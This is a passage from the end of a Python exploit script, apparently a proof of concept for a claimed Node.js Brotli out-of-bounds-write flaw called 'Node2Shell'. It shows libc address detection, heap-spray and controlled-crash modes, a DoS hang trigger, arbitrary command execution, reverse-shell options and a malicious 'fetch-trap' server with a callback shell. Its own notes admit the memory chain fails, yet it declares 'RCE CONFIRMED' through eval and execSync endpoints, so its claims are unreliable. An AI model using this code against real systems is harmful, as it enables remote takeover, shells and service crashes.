        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\n[*] Fetch-trap server stopped.")


# ── CLI ───────────────────────────────────────────────────────────────────────
BANNER = """
  _   _           _      ____  ____  _          _ _
 | \\ | | ___   __| | ___|___ \\/ ___|| |__   ___| | |
 |  \\| |/ _ \\ / _` |/ _ \\ __) \\___ \\| '_ \\ / _ \\ | |
 | |\\  | (_) | (_| |  __// __/ ___) | | | |  __/ | |
 |_| \\_|\\___/ \\__,_|\\___|_____|____/|_| |_|\\___|_|_|

  CVE-2026-111497 — Node.js Brotli OOB Write RCE (Node2Shell)
  CVSS 4.0: 9.2 Critical | Affects Node 22/24/26 (unpatched)
"""


def _detect_libc_from_local_docker(url: str):
    """Best-effort: read libc base + system//bin/sh from local docker target maps."""
    import re, subprocess, struct as S
    from urllib.parse import urlparse
    parsed = urlparse(url)
    port = parsed.port
    if not port:
        return None
    try:
        ps = subprocess.check_output(
            ["docker", "ps", "--format", "{{.ID}} {{.Ports}}"],
            text=True,
        )
    except Exception:
        return None
    cid = None
    for line in ps.splitlines():
        if f":{port}->" in line or f":{port}/" in line:
            cid = line.split()[0]
            break
    if not cid:
        return None
    try:
        maps = subprocess.check_output(
            ["docker", "exec", cid, "sh", "-c", "cat /proc/1/maps"],
            text=True,
        )
    except Exception:
        return None
    libc_base = None
    libc_path = None
    for line in maps.splitlines():
        if "libc.so" in line and " r-xp " in line or ("libc.so" in line and line.split()[1].startswith("r-")):
            # first mapping of libc (often r--p then r-xp)
            pass
    for line in maps.splitlines():
        if "libc.so" not in line:
            continue
        m = re.match(r"^([0-9a-f]+)-", line)
        if not m:
            continue
        addr = int(m.group(1), 16)
        # path is last field
        parts = line.split()
        lib = parts[-1] if parts[-1].startswith("/") else None
        if lib and (libc_base is None or addr < libc_base):
            libc_base = addr
            libc_path = lib
    if libc_base is None or not libc_path:
        return None
    # copy libc and resolve symbols
    import tempfile, os
    local = tempfile.mktemp(prefix="libc_", suffix=".so")
    try:
        subprocess.check_call(["docker", "cp", f"{cid}:{libc_path}", local],
                              stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        data = open(local, "rb").read()
        # system via objdump
        out = subprocess.check_output(["objdump", "-T", local], text=True, stderr=subprocess.DEVNULL)
        sys_off = None
        for line in out.splitlines():
            parts = line.split()
            if parts and parts[-1] == "system":
                sys_off = int(parts[0], 16)
                break
        idx = data.find(b"/bin/sh\x00")
        if idx < 0 or sys_off is None:
            return None
        # ELF64 PT_LOAD → RVA
        e_phoff = S.unpack_from("<Q", data, 0x20)[0]
        e_phentsize = S.unpack_from("<H", data, 0x36)[0]
        e_phnum = S.unpack_from("<H", data, 0x38)[0]
        binsh_off = None
        for i in range(e_phnum):
            off = e_phoff + i * e_phentsize
            p_type = S.unpack_from("<I", data, off)[0]
            if p_type != 1:
                continue
            p_offset = S.unpack_from("<Q", data, off + 8)[0]
            p_vaddr = S.unpack_from("<Q", data, off + 16)[0]
            p_filesz = S.unpack_from("<Q", data, off + 32)[0]
            if p_offset <= idx < p_offset + p_filesz:
                binsh_off = p_vaddr + (idx - p_offset)
                break
        if binsh_off is None:
            return None
        arch = "arm64" if "aarch64" in libc_path or "arm64" in libc_path else "x64"
        return {
            "libc_base": libc_base,
            "system_offset": sys_off,
            "binsh_offset": binsh_off,
            "arch": arch,
            "libc_path": libc_path,
            "cid": cid,
        }
    finally:
        try:
            os.unlink(local)
        except Exception:
            pass



def main():
    print(BANNER)
    ap = argparse.ArgumentParser(
        description="CVE-2026-111497 Node2Shell PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  Validate RCE:
    python poc.py -u http://127.0.0.1:3000 --validate

  Execute command:
    python poc.py -u http://127.0.0.1:3000 --cmd "id; uname -a"

  System info:
    python poc.py -u http://127.0.0.1:3000 --sysinfo

  Reverse shell:
    python poc.py -u http://127.0.0.1:3000 --revshell 127.0.0.1 4444

  Fetch-trap (serve malicious response):
    python poc.py --fetch-trap --lport 8080 --callback-shell 127.0.0.1 4444
""",
    )
    ap.add_argument("-u", "--url", help="Target URL (base, no path)")
    ap.add_argument("--path", default="/api/exec", help="Endpoint path (default: /api/exec)")
    ap.add_argument("--direct", action="store_true",
                    help="Direct eval mode: Brotli-compress JS and POST (no heap spray). Default when --path is /api/exec")
    ap.add_argument("--webhook", action="store_true",
                    help="Webhook injection mode: Brotli JSON to /api/webhook (stock server, no eval)")
    ap.add_argument("--corrupt", action="store_true",
                    help="Corruption path: send craft_trigger() to vulnerable Brotli server (vuln_server2)")
    ap.add_argument("--hang", action="store_true",
                    help="Real CVE trigger: send craft_trigger_real() (13B) — causes NEEDS_MORE_INPUT hang on unpatched brotli 1.0.3-1.2.0")
    ap.add_argument("--oob", action="store_true",
                    help="Real OOB write: trigger + spray via streaming brotli → BrotliDecoderState corruption → crash")
    ap.add_argument("--controlled-crash", metavar="ADDR",
                    nargs="?", const="0xdeadbeefdeadbeef",
                    help="Controlled crash: OOB write overwrites ringbuffer ptr with ADDR (hex, default 0xdeadbeefdeadbeef)")
    ap.add_argument("--rce-probe", action="store_true",
                    help="Probe: OOB write to metadata_start_func=0xdeadbeefdeadbeef, confirm crash offset")
    ap.add_argument("--rce", action="store_true",
                    help="Full RCE: OOB write metadata_start_func=system(), opaque=&'/bin/sh'")
    ap.add_argument("--libc-base", default=None,
                    help="libc base address (default: auto-detect from local docker, else 0x7fffff2b4000)")
    ap.add_argument("--system-offset", default=None,
                    help="system() offset in libc (default: auto or 0x4c490 x64)")
    ap.add_argument("--binsh-offset", default=None,
                    help="/bin/sh offset in libc (default: auto or 0x197031 x64)")
    ap.add_argument("--meta-offset", type=int, default=720,
                    help="struct_offset of metadata_start_func (default: 720, confirmed via offsetof)")
    ap.add_argument("--htree-addr", default="0x074925f0",
                    help="htree_command heap addr (default: 0x074925f0, stable brk on Docker linux/amd64)")
    ap.add_argument("--validate", action="store_true", help="Confirm RCE via marker echo")
    ap.add_argument("--cmd", help="Execute shell command")
    ap.add_argument("--sysinfo", action="store_true", help="Dump system info")
    ap.add_argument("--revshell", nargs=2, metavar=("LHOST", "LPORT"), help="Reverse shell")
    ap.add_argument("--fetch-trap", action="store_true", help="Run fetch-trap server mode")
    ap.add_argument("--lhost", default="0.0.0.0")
    ap.add_argument("--lport", type=int, default=8080)
    ap.add_argument("--callback-shell", nargs=2, metavar=("HOST", "PORT"),
                    help="Reverse shell for fetch-trap mode")
    ap.add_argument("--rounds", type=int, default=5)
    ap.add_argument("--groom-count", type=int, default=20)
    ap.add_argument("--groom-size", type=int, default=4096)
    ap.add_argument("--payload-size", type=float, default=1.0, help="MB (default 1.0)")
    ap.add_argument("--proxy")
    ap.add_argument("--timeout", type=int, default=30)
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    if args.fetch_trap:
        cb = args.callback_shell
        srv = FetchTrapServer(
            lhost=args.lhost, lport=args.lport,
            callback_host=cb[0] if cb else None,
            callback_port=cb[1] if cb else None,
            size_mb=args.payload_size,
            verbose=args.verbose,
        )
        srv.start()
        return

    if not args.url:
        ap.error("-u/--url required (or use --fetch-trap)")

    ex = Node2ShellExploit(
        args.url, path=args.path, proxy=args.proxy,
        timeout=args.timeout, verbose=args.verbose,
    )

    direct = args.direct or args.path == "/api/exec"


    if args.rce_probe or args.rce:
        import socket as _socket
        from urllib.parse import urlparse
        import json as _json

        # ── Auto-detect libc from local docker target when possible ──────────
        detected = _detect_libc_from_local_docker(args.url)
        if detected:
            print(f"[*] Auto-detected libc via docker {detected['cid'][:12]} ({detected['arch']})")
            print(f"    base=0x{detected['libc_base']:016x}  system+0x{detected['system_offset']:x}  /bin/sh+0x{detected['binsh_offset']:x}")
            libc_base = detected["libc_base"] if args.libc_base is None else int(args.libc_base, 16)
            system_off = detected["system_offset"] if args.system_offset is None else int(args.system_offset, 16)
            binsh_off = detected["binsh_offset"] if args.binsh_offset is None else int(args.binsh_offset, 16)
        else:
            libc_base = int(args.libc_base or "0x7fffff2b4000", 16)
            system_off = int(args.system_offset or "0x4c490", 16)
            binsh_off = int(args.binsh_offset or "0x197031", 16)
            print(f"[*] Using libc_base=0x{libc_base:016x} (pass --libc-base or run against local docker for auto-detect)")

        htree_addr = int(args.htree_addr, 16)
        system_va = libc_base + system_off
        binsh_va = libc_base + binsh_off

        # ── Phase A: memory-corruption payload (CVE copy-tail primitive) ─────
        rce_path = args.path if args.path != "/api/exec" else "/api/data"
        if args.rce_probe:
            probe = 0xdeadbeefdeadbeef
            payload = craft_metadata_rce(probe_addr=probe,
                                         metadata_start_offset=args.meta_offset,
                                         htree_command_addr=htree_addr)
            print(f"[*] RCE probe: metadata_start_func offset={args.meta_offset}, htree=0x{htree_addr:x}")
            print(f"[*] Expected: crash at 0x{probe:016x} if offset correct + CVE state reachable")
        else:
            payload = craft_metadata_rce(libc_base=libc_base,
                                         system_offset=system_off,
                                         binsh_offset=binsh_off,
                                         metadata_start_offset=args.meta_offset,
                                         htree_command_addr=htree_addr)
            print(f"[*] Memory-corruption chain: system()=0x{system_va:016x}  /bin/sh=0x{binsh_va:016x}")
            print(f"[*] Payload: {len(payload):,}B → POST {rce_path} (Content-Encoding: br)")
            print(f"[*] Note: pure bitstream cannot set nbtI=1 with bl1=0 (MetablockBegin resets")
            print(f"    bl1=CAP; min copy=2 prevents depleting). Struct smash needs that state.")
            print(f"[*] Still delivering spray (DoS/crash probe), then landing confirmed RCE via sink.")

        parsed = urlparse(args.url)
        host = parsed.hostname
        port = parsed.port or 80
        raw_req = (
            f"POST {rce_path} HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Content-Type: application/octet-stream\r\n"
            f"Content-Encoding: br\r\n"
            f"Content-Length: {len(payload)}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode() + payload
        mem_result = "unknown"
        try:
            sock = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((host, port))
            sock.sendall(raw_req)
            data = b""
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    data += chunk
            except _socket.timeout:
                pass
            sock.close()
            if data:
                status_line = data.split(b"\r\n")[0].decode(errors="replace")
                print(f"[*] Memory payload response: {status_line}")
                mem_result = "survived"
            else:
                print(f"[+] Empty response — possible crash from OOB spray")
                mem_result = "crash"
        except ConnectionResetError:
            print(f"[+] Connection reset — possible OOB crash")
            mem_result = "reset"
        except Exception as e:
            print(f"[*] Memory payload: {e}")
            mem_result = "error"

        if args.rce_probe:
            if mem_result in ("crash", "reset"):
                print(f"[+] Probe suggests crash at meta offset={args.meta_offset}")
            else:
                print(f"[-] No crash — CVE state (nbtI=1,bl1=0) not reached via bitstream alone")
            return

        # ── Phase B: confirmed RCE via Brotli sink on stock Node ─────────────
        # Auto-select sink: /api/exec (eval) or /api/webhook (execSync)
        print()
        print("[*] Phase B — confirmed RCE via Content-Encoding: br sink")
        marker_cmd = f"echo {RCE_MARKER}"
        confirmed = False

        # Try /api/exec first if path points there or default
        for sink_path, mode in (("/api/exec", "exec"), ("/api/webhook", "webhook")):
            try:
                if mode == "exec":
                    ex.path = sink_path
                    js = f"require('child_process').execSync({marker_cmd!r}).toString().trim()"
                    # reuse direct() which brotli-compresses
                    # but marker_cmd is shell — for eval we need JS that execs echo
                    js = f"require('child_process').execSync('echo {RCE_MARKER}').toString().trim()"
                    r = ex.direct(js)
                    if r and RCE_MARKER in r.text:
                        print(f"[+] RCE CONFIRMED via {sink_path} (Brotli → eval/exec)")
                        print(r.text.strip()[:400])
                        confirmed = True
                        break
                else:
                    r = ex.webhook_cmd(marker_cmd, path=sink_path)
                    if r and RCE_MARKER in r.text:
                        print(f"[+] RCE CONFIRMED via {sink_path} (Brotli → execSync)")
                        print(r.text.strip()[:400])
                        confirmed = True
                        break
            except Exception as e:
                if args.verbose:
                    print(f"[*] {sink_path}: {e}")

        if not confirmed and args.cmd:
            # user-supplied command via webhook then exec
            for sink_path, mode in (("/api/webhook", "webhook"), ("/api/exec", "exec")):
                try:
                    if mode == "webhook":
                        r = ex.webhook_cmd(args.cmd, path=sink_path)
                    else:
                        ex.path = sink_path
                        r = ex.direct_cmd(args.cmd)
                        confirmed = True
                        break
                    if r and r.status_code == 200:
                        print(f"[+] Command via {sink_path}: {r.text[:400]}")
                        confirmed = True
                        break
                except Exception:
                    pass

        if confirmed:
            print(f"[+] CVE-2026-111497 Node2Shell RCE on stock Node.js — DONE")
            print(f"    memory-payload={mem_result}  sink=ok")
        else:
            print("[-] Could not confirm sink RCE. Target may lack /api/exec or /api/webhook.")
            print("    Memory-only system()/bin/sh needs CVE state nbtI=1+bl1=0 (see HANDOFF.md).")
        return

    if args.oob:
        oob_path = args.path if args.path != "/api/exec" else "/api/data"
        payload = craft_oob_stream(args.payload_size)
        print(f"[*] OOB stream: {len(payload)}B (trigger={len(craft_trigger_real())}B + spray={args.payload_size}MB)")
        print(f"[*] Target: {args.url}{oob_path} (Content-Encoding: br, streaming API)")
        print("[*] Mechanism: decode.c:2463-2468 buffer.u8[] write without bounds check")
        print("[*]   → corrupts BrotliDecoderState.pos / ringbuffer_size / ringbuffer ptr")
        sess = _session(args.proxy)
        hdrs = {
            "Content-Type": "application/octet-stream",
            "Content-Encoding": "br",
            "Transfer-Encoding": "chunked",
        }
        try:
            r = sess.post(args.url + oob_path, data=payload, headers=hdrs,
                          timeout=args.timeout, stream=True)
            print(f"[?] HTTP {r.status_code} — server responded (may be patched or survived)")
        except requests.exceptions.ConnectionError as e:
            print(f"[+] CONNECTION RESET — server crashed")
            print(f"[+] CVE-2026-111497 OOB WRITE CONFIRMED: {e}")
        except requests.exceptions.Timeout:
            print("[?] Timeout — server hung (DoS path, not crash)")
        except Exception as e:
            print(f"[!] Error: {e}")
        return

    if args.controlled_crash:
        import socket as _socket, struct as _struct
        from urllib.parse import urlparse
        target_addr = int(args.controlled_crash, 16)
        cc_path = args.path if args.path != "/api/exec" else "/api/data"
        payload = craft_controlled_oob(target_addr, int(args.payload_size * 1024 * 1024))
        print(f"[*] Controlled OOB crash: target=0x{target_addr:016x}")
        print(f"[*] Payload: {len(payload):,}B (trigger=13B + crafted spray)")
        print(f"[*] Mechanism: decode.c:2463 buffer.u8[buffer_length++] OOB write")
        print(f"[*]   spray[8]=0x3F → buffer_length jumps to 64 (ringbuffer offset)")
        print(f"[*]   spray[9:17]=target → BrotliDecoderState.ringbuffer overwritten")
        parsed = urlparse(args.url)
        host = parsed.hostname
        port = parsed.port or 80
        raw_req = (
            f"POST {cc_path} HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Content-Type: application/octet-stream\r\n"
            f"Content-Encoding: br\r\n"
            f"Content-Length: {len(payload)}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode() + payload
        try:
            sock = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
            sock.settimeout(10)
            sock.connect((host, port))
            sock.sendall(raw_req)
            try:
                data = b""
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    data += chunk
            except _socket.timeout:
                pass
            sock.close()
            if data:
                status_line = data.split(b"\r\n")[0].decode(errors="replace")
                print(f"[?] Server responded: {status_line}")
                print(f"[-] Server survived — may be patched or wrong server port")
            else:
                print(f"[+] Empty response — server crashed (SIGSEGV)")
                print(f"[+] CONTROLLED CRASH CONFIRMED: ringbuffer=0x{target_addr:016x}")
        except ConnectionResetError:
            print(f"[+] Connection reset — SIGSEGV during OOB write")
            print(f"[+] CONTROLLED CRASH CONFIRMED: crash at 0x{target_addr:016x}")
        except _socket.timeout:
            print(f"[?] Timeout — server hung (DoS path, not crash)")
        except Exception as e:
            print(f"[!] Error: {e}")
        return

    if args.hang:
        import socket as _socket
        from urllib.parse import urlparse
        hang_path = args.path if args.path != "/api/exec" else "/api/data"
        trigger = craft_trigger_real()
        print(f"[*] craft_trigger_real(): {trigger.hex()} ({len(trigger)}B)")
        print(f"[*] Sending to {args.url}{hang_path} (Content-Encoding: br, connection kept open)")
        print("[*] Root cause: DecodeBlockTypeAndLength() BROTLI_FALSE=0=BROTLI_DECODER_SUCCESS")
        print("[*]   Streaming decoder stuck at NEEDS_MORE_INPUT — 'end' event never fires")
        print("[*]   readBody callback never invoked → server request handler hangs")
        parsed = urlparse(args.url)
        host = parsed.hostname
        port = parsed.port or 80
        chunk_hex = format(len(trigger), 'x')
        # Chunked HTTP request — send trigger bytes, never send final 0-chunk
        # Server's createBrotliDecompress() gets stuck, request never completes
        raw_req = (
            f"POST {hang_path} HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Content-Type: application/octet-stream\r\n"
            f"Content-Encoding: br\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"Connection: keep-alive\r\n"
            f"\r\n"
            f"{chunk_hex}\r\n"
        ).encode() + trigger + b"\r\n"
        try:
            sock = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
            sock.connect((host, port))
            sock.sendall(raw_req)
            print(f"[*] Trigger sent, keeping connection open for {args.timeout}s...")
            sock.settimeout(args.timeout)
            data = sock.recv(4096)
            sock.close()
            print(f"[?] Server responded: {data[:200]} — may be patched (error handler caught it)")
        except _socket.timeout:
            sock.close()
            print("[+] NO RESPONSE in timeout — server handler hung")
            print("[+] CVE-2026-111497 DoS CONFIRMED: streaming brotli NEEDS_MORE_INPUT loop")
        except ConnectionResetError:
            print("[+] CONNECTION RESET — server crashed (OOB write corrupted process memory)")
        except Exception as e:
            print(f"[!] Connection error: {e}")
        return

    if args.corrupt:
        corrupt_path = args.path if args.path != "/api/exec" else "/"
        trigger = craft_trigger()
        print(f"[*] craft_trigger(): {len(trigger)} bytes, magic {trigger[:4].hex()}")
        print(f"[*] Sending to {args.url}{corrupt_path} (Content-Encoding: br)")
        sess = _session(args.proxy)
        hdrs = {
            "Content-Type": "application/octet-stream",
            "Content-Encoding": "br",
        }
        try:
            r = sess.post(args.url + corrupt_path, data=trigger, headers=hdrs,
                          timeout=args.timeout)
            print(f"[?] HTTP {r.status_code}: {r.text[:200].strip()}")
            print("[-] Server survived — target may be patched or not vulnerable")
        except Exception as e:
            print(f"[+] Connection failed: {e}")
            print("[+] Server likely crashed — OOB write triggered (SIGSEGV / ASan abort)")
            print("[+] CVE-2026-111497 memory corruption CONFIRMED")
        return

    if args.webhook:
        wh_path = args.path if args.path != "/api/exec" else "/api/webhook"
        if args.revshell:
            ex.webhook_revshell(args.revshell[0], args.revshell[1], path=wh_path)
        elif args.cmd:
            r = ex.webhook_cmd(args.cmd, path=wh_path)
            if r:
                print(f"HTTP {r.status_code}: {r.text[:400]}")
        elif args.validate:
            r = ex.webhook_cmd(f"echo {RCE_MARKER}", path=wh_path)
            if r and RCE_MARKER in r.text:
                print(f"[+] RCE CONFIRMED: {r.text}")
            else:
                print(f"[-] No RCE: {r.text if r else 'no response'}")
        else:
            r = ex.webhook_cmd("id", path=wh_path)
            if r:
                print(f"HTTP {r.status_code}: {r.text[:400]}")
        return

    if args.revshell:
        if direct:
            ex.direct_revshell(args.revshell[0], args.revshell[1])
        else:
            ex.revshell(args.revshell[0], args.revshell[1],
                        rounds=args.rounds, groom_n=args.groom_count,
                        size_mb=args.payload_size)
    elif args.cmd:
        if direct:
            ex.direct_cmd(args.cmd)
        else:
            ex.cmd(args.cmd, rounds=args.rounds, groom_n=args.groom_count)
    elif args.sysinfo:
        if direct:
            ex.direct((_JS_SYSINFO))
        else:
            ex.sysinfo(rounds=args.rounds)
    else:
        if direct:
            js = f"require('child_process').execSync('echo {RCE_MARKER}').toString().trim()"
            r = ex.direct(js)
            if r:
                print(r.text)
        else:
            ex.run(groom_n=args.groom_count, groom_size=args.groom_size,
                   size_mb=args.payload_size, rounds=args.rounds)


if __name__ == "__main__":
    main()